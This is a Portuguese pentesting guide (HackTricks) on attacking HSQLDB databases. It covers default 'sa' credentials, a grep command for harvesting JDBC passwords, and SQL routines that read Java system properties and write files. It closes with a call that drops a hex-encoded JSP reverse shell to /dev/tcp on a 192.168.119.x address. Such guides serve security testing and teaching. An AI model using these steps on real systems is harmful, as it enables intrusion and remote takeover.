5.5 KiB
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Participe do grupo 💬 Discord ou do grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.
Informações Básicas
HSQLDB [HyperSQL DataBase](http://hsqldb.org/)
é o principal sistema de banco de dados relacional SQL escrito em Java. Oferece um motor de banco de dados pequeno, rápido, multithread e transacional com tabelas em memória e baseadas em disco e suporta modos embutido e servidor.
Porta padrão: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informações
Configurações Padrão
Observe que, por padrão, esse serviço provavelmente está sendo executado na memória ou está vinculado ao localhost. Se você o encontrou, provavelmente explorou outro serviço e está procurando escalar privilégios.
As credenciais padrão são geralmente sa
com uma senha em branco.
Se você explorou outro serviço, procure por possíveis credenciais usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Observe atentamente o nome do banco de dados - você precisará dele para se conectar.
Coleta de Informações
Conecte-se à instância do DB fazendo download do HSQLDB e extraindo hsqldb/lib/hsqldb.jar
. Execute o aplicativo GUI eww
usando java -jar hsqldb.jar
e conecte-se à instância usando as credenciais descobertas/frágeis.
Note que a URL de conexão se parecerá com isto para um sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Truques
Rotinas da Linguagem Java
Podemos chamar métodos estáticos de uma classe Java a partir do HSQLDB usando Rotinas da Linguagem Java. Note que a classe chamada precisa estar no classpath da aplicação.
JRTs podem ser functions
ou procedures
. Funções podem ser chamadas via instruções SQL se o método Java retornar uma ou mais variáveis primitivas compatíveis com SQL. Elas são invocadas usando a instrução VALUES
.
Se o método Java que queremos chamar retorna void, precisamos usar um procedimento invocado com a instrução CALL
.
Lendo Propriedades do Sistema Java
Criar função:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Executar função:
VALUES(getsystemproperty('user.name'))
Você pode encontrar uma lista de propriedades do sistema aqui.
Escrever Conteúdo em Arquivo
Você pode usar o gadget Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
localizado no JDK carregado automaticamente no classpath da aplicação
para escrever itens codificados em hexadecimal no disco por meio de um procedimento personalizado. Observe o tamanho máximo de 1024 bytes.
Criar procedimento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Executar procedimento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do HackTricks e HackTricks Cloud.